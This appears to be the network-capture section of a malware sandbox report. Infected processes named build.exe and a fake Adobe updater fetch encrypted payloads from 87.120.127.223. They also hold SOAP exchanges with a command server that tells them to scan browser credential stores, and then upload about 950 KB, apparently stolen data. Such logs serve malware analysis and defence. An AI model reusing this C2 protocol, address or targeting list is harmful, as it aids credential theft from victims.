Oct 15, 2024 19:22:10.583834887 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:15:16 GMT ETag: "133c08-6246815889d52" Accept-Ranges: bytes Content-Length: 1260552 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 2c 11 1c 0b 3d a0 9c 62 80 d2 4a 61 c5 5a a3 37 1f 44 e9 6f 7f 2c e9 d2 83 d9 b0 05 1d 61 9d 36 15 c8 a9 6f 56 dc fc bf a4 5a 99 c7 b8 fe 47 88 62 38 12 4e 03 be a5 da 47 df 94 f7 54 cb 08 6c af d5 09 1e ca f3 6c 84 c4 1d cb 4c 41 f1 c4 bc 3c 0d 82 9b 21 c1 03 08 a5 54 c3 92 61 d3 a1 b8 e5 fc 57 a3 c7 ed 07 5a 0b d5 c3 c0 e6 6d 57 3f e4 c2 95 c8 62 68 2e f8 ac d6 79 e1 89 cb a3 81 6c 3d 19 b3 85 13 78 48 58 2c ce 91 1c 4d 06 79 ce 99 26 a6 29 32 94 47 48 3c a4 d3 8e 0c ac 32 45 3e da c2 b8 c4 1d fb e6 de 08 f5 59 ba f2 52 b5 e0 06 1e cc 31 a2 a0 82 ba 68 52 5c 4b e8 49 78 5f 73 d0 e8 cf cf f3 3c ce 1c 35 2c 0e a4 fe 5e 8c 14 1a a7 5d 23 85 b4 50 ee 56 08 9d b0 dd a9 de 81 14 42 de 74 d6 5e 15 96 47 5c d1 4d 85 49 f1 91 00 61 ef b0 40 3e a9 51 ca 6a ed a1 b9 12 79 5a 97 70 fa 07 ee b0 5f be b0 af 44 7d 8e 00 58 bf ca 6c 80 4d 44 cc 31 ce 41 a8 b2 3b 17 07 81 18 58 a0 2c 31 75 58 54 50 fd 94 03 b3 e7 0a e5 cf c5 ae ee 1d ae 61 05 69 ec e1 c5 2d b1 4a fb d0 48 05 f1 45 f5 19 4e 9a 98 6b 0d da c6 47 67 [TRUNCATED] Data Ascii: ,=bJaZ7Do,a6oVZGb8NGTllLA<!TaWZmW?bh.yl=xHX,My&)2GH<2E>YR1hR\KIx_s<5,^]#PVBt^G\MIa@>QjyZp_D}XlMD1A;X,1uXTPai-JHENkGgj>`zDc=i 6MAOR#;M(H0^YuWK&Nl$^j9)g`7DIl0zR*^N/zb1ErSA<S$'6jvw;g-J#9S~8f]Qrr?`\89(GPp/1@+uP^~:^TiJH=_1W-+$4B7[7$m12(Qf2Co~rgq&Jb=UmbEuZS6:=%kVwi}Z8\|[6o.SRn^5%(z-PB%F2%<o"CyjX~Uts\<%0:pIM(pc^,Q6l;AjFpoT=htDkgT]ML)~xUQe8PD^Qsz_n@DFx_p\d2%Zw{;$Uq23,
Oct 15, 2024 19:22:10.583864927 CEST	1236	IN	Data Raw: 31 4a 12 88 cf 69 2c 15 8d 30 b7 60 db 06 16 a4 21 40 05 e7 3f 3b 3b bf ab 62 26 60 36 f8 db 71 1a 4e 56 5a 58 26 d7 c9 59 52 7c 47 83 86 fd 47 1f 20 71 2f 4f 73 a5 90 38 f3 e5 1f d5 ae 2d b3 0f 93 b8 c3 39 b5 2c e5 f4 94 d0 f6 5e d0 6d cd 99 d5 Data Ascii: 1Ji,0`!@?;;b&`6qNVZX&YR\|GG q/Os8-9,^m4vkI9}m?rM5\|%QTX$(t"&"=i$}*mzo(]#VNcx9^o5B'nN@L=pRPK<><
Oct 15, 2024 19:22:10.583887100 CEST	1236	IN	Data Raw: b6 71 52 58 6b 7b 1d aa 9e 43 eb 2c b5 9e 89 1f 68 3e ad 2d e1 d6 77 39 ec bc c9 14 05 8e 2d a2 ff 18 52 5f a8 18 f6 80 3c 91 19 f0 6a 54 7a 19 08 43 c7 3a fb df 5b fc 51 89 05 97 09 13 a6 40 70 12 f2 aa 26 ac a8 35 ed 02 d2 d7 60 98 8c bf 04 26 Data Ascii: qRXk{C,h>-w9-R_<jTzC:[Q@p&5`&0an/{EB3H]mf`g!W$y#&l"tsIR04xD}U8ARQ,qNV'd3bOP0J2*F,ee-,.pn:\Xvq"ecN
Oct 15, 2024 19:22:10.583908081 CEST	1236	IN	Data Raw: 88 ea 07 84 1b a8 dd 0a 56 d5 dc dc 3e 51 17 35 3a ce 11 2f 04 86 8b 03 ed 5b ed f8 28 d2 93 ca da f7 6d ee db 8f 06 38 3b d3 aa 6f 84 47 83 a2 09 91 14 7f 52 95 18 9c e5 1e 63 60 61 2a 38 c2 7f 29 f0 ce 7a 76 21 8f 08 3b 71 ad 49 50 a5 fb df ee Data Ascii: V>Q5:/[(m8;oGRc`a*8)zv!;qIP;^"he7pC=6 =EDY8c<hKBs\|3$2}ry;A>'qZ%DYE~ui=W!PGFYm3f}E
Oct 15, 2024 19:22:10.584264040 CEST	1236	IN	Data Raw: d2 8e b4 93 0d 6d 79 f8 b7 b0 f8 03 aa fd d4 69 d8 d3 f6 13 d5 d4 49 3d 72 2e 24 71 f9 86 62 ad 75 5a 45 62 f3 b9 7f d9 c0 c9 38 0f 85 f3 cd 5d 5d 82 3d 42 ef a9 56 21 3c 50 43 7d 03 c8 72 d0 9f ea 7d e7 03 ac a8 8d d8 96 81 72 4d 9c b1 20 6a 5c Data Ascii: myiI=r.$qbuZEb8]]=BV!<PC}r}rM j\P^[PVq\D,WPvM0#7q(?#nyS6)zsq8APvA\X>~ji22T>70o1;(5a0GdtF
Oct 15, 2024 19:22:10.584283113 CEST	1236	IN	Data Raw: d0 aa 94 84 83 0e 66 0f f8 ce 49 a7 da e8 72 ba 10 b7 d6 48 0c 59 29 df b6 c5 e6 9b a1 a2 24 17 cf 3c 9f e7 49 c2 69 5f 27 bb b1 c6 e4 b2 66 a0 9b 52 54 cf 75 e0 5f ec 7c e5 b4 51 b3 81 05 85 f7 1d f2 34 0b f5 0d 51 f1 6c 78 c0 40 b5 32 3f 95 a7 Data Ascii: fIrHY)$<Ii_'fRTu_\|Q4Qlx@2?E2HRD1Uj,\[dJ4Dg\v.1h_0&d;`GMz#'J>!/n4r3Xa2n>\|PtHgUU&e~a+
Oct 15, 2024 19:22:10.584306955 CEST	1236	IN	Data Raw: b4 70 a7 b8 ce 85 7b b9 0e 56 df 65 b6 ee 9c 32 71 bc f3 bc 12 af 94 82 c7 c3 0f cc a9 1d ec e8 6f 65 97 1c a5 83 91 93 c5 39 30 a1 2c 07 29 46 a8 ee 55 8c 3a 19 03 5b a4 43 3f 5e 00 02 5f 77 9c 1d 77 18 2f 4e ad 73 a8 11 32 d5 ad 75 d9 97 84 5f Data Ascii: p{Ve2qoe90,)FU:[C?^_ww/Ns2u_hB;G'O[Pt\|Ld w&.PbL{E<<5(1MvtZO9Zc#g+gs-4Xrv">TW'Y<
Oct 15, 2024 19:22:10.584325075 CEST	1236	IN	Data Raw: a6 91 4e 3e 07 a6 d7 00 72 0d 49 20 a6 84 52 f3 4d 50 f9 a7 f3 a6 cd e5 2a 49 9a 06 86 75 5a 6c 2f 9c 41 c1 e2 be 1e 3d 70 9d 6f 77 4b 46 70 26 7c a4 64 01 91 4b 7c 69 32 a5 e8 af 50 98 23 f2 52 01 98 03 bb 38 76 7f 53 2b 21 15 6d d9 2a 2b 74 48 Data Ascii: N>rI RMPIuZl/A=powKFp&\|dK\|i2P#R8vS+!m+tH/c!2l\|!Cnd8`*CJ@[{QAy?W:99mKL+Y!>Zq#u@eJg+bd!7;'SP=hh`}6qAqQ
Oct 15, 2024 19:22:10.584351063 CEST	1236	IN	Data Raw: b5 00 94 97 79 96 ac f0 04 3a f4 04 7a dd fe b0 fb 06 8e a4 e4 08 0c fb 30 70 dc 5b 95 7e 5f 76 e1 e4 3a 51 52 68 8d a9 82 e6 66 eb f9 f9 8a 0e db a2 36 64 06 92 64 8c 95 7a c2 7a a5 00 15 67 66 69 bc af 80 42 62 65 25 96 0d bc c9 f5 a2 17 7d ca Data Ascii: y:z0p[~_v:QRhf6ddzzgfiBbe%} ]N0Y6>T,+"I`o)8KhG9KVOg[(TS[ZDm@vF(50*>7TK8DW\M+t,CiyBV'oy{#
Oct 15, 2024 19:22:10.584374905 CEST	1236	IN	Data Raw: 6b 84 ab e4 25 3f 8e ec 86 3d 9c 8a cb 42 10 3e 9d 3d e6 5b 19 0a cf 83 96 a3 a4 cd d8 c8 40 d5 c1 79 67 3f e1 f9 4c 35 52 69 24 24 b1 ef e2 28 f6 95 4a d8 df c2 e0 c6 61 d9 9e d6 aa 45 9e b2 8c 76 8e 79 56 93 60 4d e0 c7 14 ac 0e 73 5a af c2 01 Data Ascii: k%?=B>=[@yg?L5Ri$$(JaEvyV`MsZ =F"Vh^K^U48=<6_R6r?=EC w\OyGH'%1}\,FIr<VWWW01xVg%h072`sH;x
Oct 15, 2024 19:22:10.584395885 CEST	1236	IN	Data Raw: 62 d8 18 6b 0e 40 58 89 8a e2 ec da a5 30 51 d6 3c a6 2f 4d 75 95 96 06 95 4b 1a ee d3 e4 ef 16 6f 53 b2 86 a0 ad 63 c3 09 a8 31 20 7e a1 39 e4 2e 36 b5 6a 8c d8 8e 4b 79 88 d9 ba 08 d5 dc 8d 92 33 66 ab 44 a0 81 96 c3 30 cb 0f bf 7f 30 5b dd e8 Data Ascii: bk@X0Q</MuKoSc1 ~9.6jKy3fD00[ckn+Y%}j9J/ew~+LB'I "df6(IH:CA_v*oVrQpA=sj_1FR;
Oct 15, 2024 19:22:10.981679916 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:15:16 GMT ETag: "133c08-6246815889d52" Accept-Ranges: bytes Content-Length: 1260552 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 2c 11 1c 0b 3d a0 9c 62 80 d2 4a 61 c5 5a a3 37 1f 44 e9 6f 7f 2c e9 d2 83 d9 b0 05 1d 61 9d 36 15 c8 a9 6f 56 dc fc bf a4 5a 99 c7 b8 fe 47 88 62 38 12 4e 03 be a5 da 47 df 94 f7 54 cb 08 6c af d5 09 1e ca f3 6c 84 c4 1d cb 4c 41 f1 c4 bc 3c 0d 82 9b 21 c1 03 08 a5 54 c3 92 61 d3 a1 b8 e5 fc 57 a3 c7 ed 07 5a 0b d5 c3 c0 e6 6d 57 3f e4 c2 95 c8 62 68 2e f8 ac d6 79 e1 89 cb a3 81 6c 3d 19 b3 85 13 78 48 58 2c ce 91 1c 4d 06 79 ce 99 26 a6 29 32 94 47 48 3c a4 d3 8e 0c ac 32 45 3e da c2 b8 c4 1d fb e6 de 08 f5 59 ba f2 52 b5 e0 06 1e cc 31 a2 a0 82 ba 68 52 5c 4b e8 49 78 5f 73 d0 e8 cf cf f3 3c ce 1c 35 2c 0e a4 fe 5e 8c 14 1a a7 5d 23 85 b4 50 ee 56 08 9d b0 dd a9 de 81 14 42 de 74 d6 5e 15 96 47 5c d1 4d 85 49 f1 91 00 61 ef b0 40 3e a9 51 ca 6a ed a1 b9 12 79 5a 97 70 fa 07 ee b0 5f be b0 af 44 7d 8e 00 58 bf ca 6c 80 4d 44 cc 31 ce 41 a8 b2 3b 17 07 81 18 58 a0 2c 31 75 58 54 50 fd 94 03 b3 e7 0a e5 cf c5 ae ee 1d ae 61 05 69 ec e1 c5 2d b1 4a fb d0 48 05 f1 45 f5 19 4e 9a 98 6b 0d da c6 47 67 [TRUNCATED] Data Ascii: ,=bJaZ7Do,a6oVZGb8NGTllLA<!TaWZmW?bh.yl=xHX,My&)2GH<2E>YR1hR\KIx_s<5,^]#PVBt^G\MIa@>QjyZp_D}XlMD1A;X,1uXTPai-JHENkGgj>`zDc=i 6MAOR#;M(H0^YuWK&Nl$^j9)g`7DIl0zR*^N/zb1ErSA<S$'6jvw;g-J#9S~8f]Qrr?`\89(GPp/1@+uP^~:^TiJH=_1W-+$4B7[7$m12(Qf2Co~rgq&Jb=UmbEuZS6:=%kVwi}Z8\|[6o.SRn^5%(z-PB%F2%<o"CyjX~Uts\<%0:pIM(pc^,Q6l;AjFpoT=htDkgT]ML)~xUQe8PD^Qsz_n@DFx_p\d2%Zw{;$Uq23,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	87.120.127.223	42128	1020	C:\Users\user\AppData\Local\Temp\build.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:10.094147921 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 87.120.127.223:42128 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Oct 15, 2024 19:22:10.982037067 CEST	25	IN	HTTP/1.1 100 Continue
Oct 15, 2024 19:22:11.235197067 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:11 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Oct 15, 2024 19:22:16.299645901 CEST	224	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 87.120.127.223:42128 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 15, 2024 19:22:16.555665970 CEST	25	IN	HTTP/1.1 100 Continue
Oct 15, 2024 19:22:16.902327061 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 8227 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:16 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	87.120.127.223	80	1576	C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:19.753204107 CEST	89	OUT	GET /panel/uploads/Afocvkc.dat HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
Oct 15, 2024 19:22:20.613224983 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:30:20 GMT ETag: "ea808-624684b6c5b85" Accept-Ranges: bytes Content-Length: 960520 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: f0 5e 53 96 41 b2 94 cb 6d 19 3e f9 23 34 28 86 91 7f 31 50 12 e8 9a 28 32 49 a3 e9 4a a3 97 20 bf 3d 95 69 4d 7a 45 75 b8 d9 be 82 50 21 bc ab de 65 8b 12 20 c9 ef 0e 64 95 71 6d ea d3 cc d2 d1 34 f3 ac 79 bd 30 fe 1a eb 29 44 8f 4b 4a 4e 49 90 65 e0 a8 34 9b 14 b3 4e 79 98 ea cf 0c 0e 05 b4 7c 5a 07 22 05 98 c5 78 d7 a3 dc 9e 40 33 34 6d d5 c5 2b 91 f3 7b cc 09 96 d1 69 98 60 f5 fc ca 89 ec 12 17 20 f9 16 b1 1f 96 25 12 2e e1 3a 03 ea 53 63 f1 61 c7 51 8d 3c b6 34 41 f8 70 5f 4b a8 9a 2e d9 16 52 83 17 d7 8d 58 51 36 5b 6e f9 74 8d f6 a6 da 13 3a f9 0a 56 fc 72 db 1d 54 64 28 4f 5f 28 77 4f c9 95 66 f9 46 ac d9 ca e5 cd 29 d2 6e 36 98 1e 0d 2a 47 62 8c 42 54 32 c8 ad ea f9 84 ff 55 20 0d 6c 6c 21 8c 0c 45 36 ed 89 a7 5a 05 c8 83 23 6f 31 86 09 30 b5 c3 90 fb 7a ba 79 cf 89 fe 8c 6e ff 26 cc ec ec cd 25 0c 82 57 23 1f f6 a7 6a e6 a4 16 c3 00 a7 8e 21 e3 52 f7 2e 2d 7d 20 2c a6 f5 38 74 6b 71 fe 28 25 b9 1d 72 47 47 c9 02 20 99 fe a8 58 0b 3a ce 05 17 92 b9 43 38 02 84 7a a3 06 b8 d1 19 ec 8c d5 cd [TRUNCATED] Data Ascii: ^SAm>#4(1P(2IJ =iMzEuP!e dqm4y0)DKJNIe4Ny\|Z"x@34m+{i` %.:ScaQ<4Ap_K.RXQ6[nt:VrTd(O_(wOfF)n6GbBT2U ll!E6Z#o10zyn&%W#j!R.-} ,8tkq(%rGG X:C8z9_RAldb>X!h<$xH#?7vIWH\U\|<axy1a%'D6wecceQuvkCg5IzgD6 259KO,obwNQ==eCs=;v>=9oQhmz5P")7S@/?jqe&#<(Oj^pa0<\|KA[S6YJi[Pw6+LLuq\|Z'Em&m"$EmeSlk>a2qusn}N{cK>.J^mZ6hf?'iuW:Ey.H.0J!2x;cN!HXmPMU#uNp54WB3C5UA&k"z])Du[=$4 ZiK5n4D3x
Oct 15, 2024 19:22:20.613241911 CEST	212	IN	Data Raw: 96 ea 44 65 05 c7 08 87 bc 1d c0 2b 94 af 92 f7 a0 52 76 24 0b 43 b6 48 68 bb 9d f6 54 1a 3d 12 52 bf 4f 1a 39 91 cd c5 ed 2f 81 03 1a 0b f2 76 f1 06 25 be cc ea 1a e9 78 a0 c7 4d d6 cf 7f c6 41 63 d0 55 56 26 33 6f 9e 39 57 dd 18 a2 2c 2a 93 36 Data Ascii: De+Rv$CHhT=RO9/v%xMAcUV&3o9W,*6 h@a^Jdj186E$r+Pf2su<UhD&maSR`nM0KcmmGnz9i`5c#yPCg>
Oct 15, 2024 19:22:20.613275051 CEST	1236	IN	Data Raw: ff fd 4f 3b 8b 4a 9a 0d 0d a9 ba 6e 16 70 67 ed 08 33 dd 66 40 95 9a f6 2c 36 c3 47 b5 b3 44 b3 8d 9b b6 39 e5 1d a9 c4 81 32 63 20 b9 19 40 fb df bc a6 25 a2 1e 63 1a 4e b7 c2 cf 5c 0a 4c 87 08 19 87 aa 3e 41 7e d4 32 e3 4e 41 6f 7e 36 60 a6 c2 Data Ascii: O;Jnpg3f@,6GD92c @%cN\L>A~2NAo~6`%-E::2v4m+/q!@H,~<U>w=tw47Ib/\\|M^Mmx,9k,%6*jDJ-N7J!t6o6\/C8]YB
Oct 15, 2024 19:22:20.613311052 CEST	1236	IN	Data Raw: 5c 29 6b 36 01 d6 93 ea be 3a c2 98 28 2b 8d 9a 00 67 4c f4 09 49 7c 10 ff f4 d8 c4 4f c6 13 38 19 c0 32 0a 1f e1 77 8d a8 ce 89 d1 3d 3c fa 19 62 18 40 e8 57 01 cd 52 bb 83 a4 d2 90 59 0d f5 6b 3c 70 5c 20 92 1e af af 90 7a bd 96 71 63 aa c5 77 Data Ascii: \)k6:(+gLI\|O82w=<b@WRYk<p\ zqcwPy8Po35U`]j>}aO=BW+pr3Hy(HOEXBul,P34On`T%)X9Y8N9udv7:(
Oct 15, 2024 19:22:20.613326073 CEST	1236	IN	Data Raw: 8e 57 27 c7 5d b5 81 9d 1d 05 85 65 20 50 1f e7 61 99 9b 25 4b d7 4a 4f 64 50 d0 99 6e 58 ab 15 bc 54 b0 19 85 05 f1 0b e0 9b 00 70 0c 16 50 7d c7 74 d4 88 db c5 09 12 ab 8b a0 5c fc 6a d0 fe 9c 84 11 84 97 f7 da 05 93 ee 94 87 0d b2 22 11 dd 47 Data Ascii: W']e Pa%KJOdPnXTpP}t\j"G%i/?N]-9F][Q++pN0@X^L9@_!&Z,/m~S2m.4w%U`T `<$Uj0pC
Oct 15, 2024 19:22:20.613353014 CEST	636	IN	Data Raw: 04 05 b6 9b c7 c6 e3 e5 0b e9 3d 07 2b 4e b9 6c 18 65 a6 21 92 b3 3f 04 36 b6 7c 05 ad 0c d3 e2 04 c7 b3 b0 0d 29 74 64 16 ec 29 b9 5e 4a a4 be 44 95 69 99 2f 01 8e b3 d7 73 1e 60 10 95 c3 b0 66 97 df 39 93 42 dc 9e a8 83 88 55 70 1d a8 a8 61 f6 Data Ascii: =+Nle!?6\|)td)^JDi/s`f9BUpah{dzex%ix1c[yn=I"^>Hzo$(?aiKznC'S,J\-.jC/EoMa4B.W/!
Oct 15, 2024 19:22:20.613435030 CEST	1236	IN	Data Raw: e4 f3 f3 4f 96 aa 3b df 01 ec c9 03 a6 2e 72 07 f6 63 97 50 54 d4 63 41 7c c7 7b 94 80 d7 b1 07 0e a6 1f 8a 29 b2 5a 21 24 45 8f 7d e1 c2 b6 b3 5e 05 57 70 4a b5 3c b8 40 db 2a 3a e3 dc eb 63 af 40 c2 bc 3d 8b 6e 35 06 b5 45 fb e5 8f fc 14 91 54 Data Ascii: O;.rcPTcA\|{)Z!$E}^WpJ<@*:c@=n5ETA\|6M)EFlXbUQzUxAgbrjt4=bNefAu#0aHJ1%s$g".<s)f&7drLvKg,1-yK
Oct 15, 2024 19:22:20.613470078 CEST	1236	IN	Data Raw: 4e 7e 51 8e f6 13 b0 a6 f6 10 57 c5 7a ba 29 dd 7c 69 96 b1 89 40 d9 38 42 44 67 9a a4 6a 72 c0 97 c5 ad d6 72 5d 85 9b dc a2 9b e2 53 ef 00 a1 a1 8c e2 52 d0 38 80 07 20 4a 0f 88 4d 57 59 d7 09 10 03 51 7c 0f 69 1a 7f a6 58 75 98 8a 81 d3 4b 00 Data Ascii: N~QWz)\|i@8BDgjrr]SR8 JMWYQ\|iXuKpgHbem}HX6KJ(rG82LyhU^V!SBZ}$>}gCW.:IjrMP[0RImOQ\~t<n/l0%
Oct 15, 2024 19:22:20.613485098 CEST	1236	IN	Data Raw: b5 b7 d8 a3 8d 46 5b 26 02 81 29 43 a7 60 f6 49 c0 9f 2e 5d e5 0c a3 e2 3f ea d4 e4 55 12 8c 11 81 3b e3 19 b0 8a 6f b8 b6 e0 26 07 6b 7f a9 82 db a1 1d 4b 80 33 e7 bd 9d bf 70 6b e4 0a eb 96 5f 9c 60 24 7c e3 41 20 b2 82 b7 c1 4c b4 31 9a d7 ec Data Ascii: F[&)C`I.]?U;o&kK3pk_`$\|A L1mM7ye<Z^I,`tw0.Mh(42y90?8@~`mrzSMUYzD("H?FMfr7X%x4`?JH<V0m6mNqR{`
Oct 15, 2024 19:22:20.613581896 CEST	1236	IN	Data Raw: c9 24 42 a6 bf 14 cc 78 a6 75 f2 99 95 e4 f2 9d 25 0c c3 64 ae 9e 6c 97 38 b3 c6 a3 80 18 86 3a fa ac 5d 2c 4e 1e ae ee 4b 59 87 87 af 06 12 b6 18 f2 df 31 1f f8 3f 86 ce f4 4c 1a 8f f4 98 26 c6 ae 95 74 f0 d9 dc 7a 85 84 55 1c c2 a2 2d 56 05 22 Data Ascii: $Bxu%dl8:],NKY1?L&tzU-V"8G9""UmqPqV1M]b&l^Inm?D"`mW)X&'.a/v6KY=WLjGmoCx%"Sb>uU3r'~EZI{~s-
Oct 15, 2024 19:22:20.618221045 CEST	1236	IN	Data Raw: c4 fe 37 19 b2 63 39 45 64 5f 1f ca 37 d9 25 22 cf 12 a7 7e 60 fc dd 9c 8c 45 68 25 5d 0a 3b 2b 65 61 ed 62 48 8c af 33 1e f8 d1 c7 de 9a 9f ba 26 96 01 8f 1d 6c 44 de 5b c7 02 b8 d0 71 71 04 70 e4 61 2b 09 d1 33 be ee 76 23 74 a9 83 5c 0a f4 41 Data Ascii: 7c9Ed_7%"~`Eh%];+eabH3&lD[qqpa+3v#t\A.j56_*T23d,P0")QiB.j/h!y]}T2lR<(VaRoT.9=IGnB}E0AHoRfOee9p_6l(9GD]vj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49735	87.120.127.223	42128	1020	C:\Users\user\AppData\Local\Temp\build.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:21.678124905 CEST	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 87.120.127.223:42128 Content-Length: 952956 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 15, 2024 19:22:23.556596994 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:23 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Oct 15, 2024 19:22:23.558743954 CEST	218	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 87.120.127.223:42128 Content-Length: 952948 Expect: 100-continue Accept-Encoding: gzip, deflate
